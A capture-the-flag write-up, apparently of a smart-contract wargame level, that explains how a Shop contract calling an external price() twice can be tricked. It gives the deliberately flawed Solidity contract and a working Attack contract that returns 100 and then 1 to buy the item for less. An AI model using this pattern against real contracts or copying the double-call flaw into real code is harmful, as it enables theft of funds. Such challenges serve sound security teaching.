Buy_Less_Price
🚩
Challenge
The Shop contract calls Buyer.price() two times inside buy(). Since the return value can depend on state changes (like isSold), the attacker can return different values for each call. This breaks the assumption that the price stays the same.
Taks
We need to exploit the logic of the Shop contract so that the item is marked as sold, but the final price is less than 100.
We are allowed to interact through a custom contract that implements the Buyer interface.
Attack Flow
-
Deploy the Attack contract with the target Shop contract’s address.
-
Call
buy()from the Attack contract. -
Inside Shop’s
buy():- First call to
price()→ Attack returns 100 (sinceisSold == false). - Condition passes (
100 >= 100 && !isSold). isSoldis set to true.
- First call to
-
Shop calls
price()again:- Attack returns 1 (since now
isSold == true). - Shop updates its
priceto 1.
- Attack returns 1 (since now
Given Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
Attack Contract
contract Attack is Buyer {
Shop public shop;
constructor(address _shopAddress) {
shop = Shop(_shopAddress);
}
function price() external view override returns (uint256) {
return shop.isSold() ? 1 : 100;
}
function buy() public {
shop.buy();
}
}
Explanation ?
We created a contract that acts as the Buyer.
The Shop contract checks the price two times inside the buy() function:
- First:
price()is used to check if the returned value is greater than or equal toprice. - Second:
price()is called again to update the internalpricevariable.
In our Attack contract:
- When
shop.isSold()is false (before the item is sold), we return100. - After the first check,
isSoldis set totrue. - Then on the second call, we return
1.
This way:
- We successfully pass the first condition by returning
100. - Then we set the shop's internal price to
1.
Outcome
- The item is marked as sold.
- The shop's price becomes 1.
- The buyer gets the item for less than the original price (100).